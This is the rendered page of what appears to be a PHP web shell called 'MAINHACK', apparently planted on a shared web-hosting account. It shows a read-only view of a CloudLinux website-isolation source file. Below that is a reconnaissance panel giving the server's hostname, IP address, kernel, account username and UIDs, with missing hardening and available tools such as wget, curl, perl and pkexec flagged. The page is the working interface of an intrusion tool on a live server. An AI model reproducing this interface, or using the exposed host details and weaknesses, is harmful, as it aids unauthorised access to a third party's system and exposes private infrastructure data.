[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: mount_config.py
File is not writable. Editing disabled.
#!/opt/cloudlinux/venv/bin/python3 -sbb # -*- coding: utf-8 -*- # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENCE.TXT # """ Mount configuration builder for website isolation. The code handles all standard behavior (docroot isolation, home overlay, etc). """ import os.path from dataclasses import dataclass, field from .jail_config import MountEntry @dataclass class IsolatedRootConfig: """ Configuration for a directory overlay. Closes access to a directory by mounting a fake/empty directory over it, then selectively exposing only whitelisted paths. Storage is computed as: {storage_base}/{name} """ # Path to the root of this storage (e.g. ~/.clcagefs/website/123/home) root_path: str # Real directory to close target: str # Use temporary tmpfs for storage (default: real directory) persistent: bool = True # List of mounts made inside of this root (dynamically) mounts: list[MountEntry] = field(default_factory=list) def mount(self, type_, source, target, opts: tuple = tuple()): """Mounts whatever asked into the root of isolated storage""" relative_path = os.path.relpath(target, self.target) self.mounts.append(MountEntry(type_, source, f"{self.root_path}/{relative_path}", opts))
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.58 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: N/A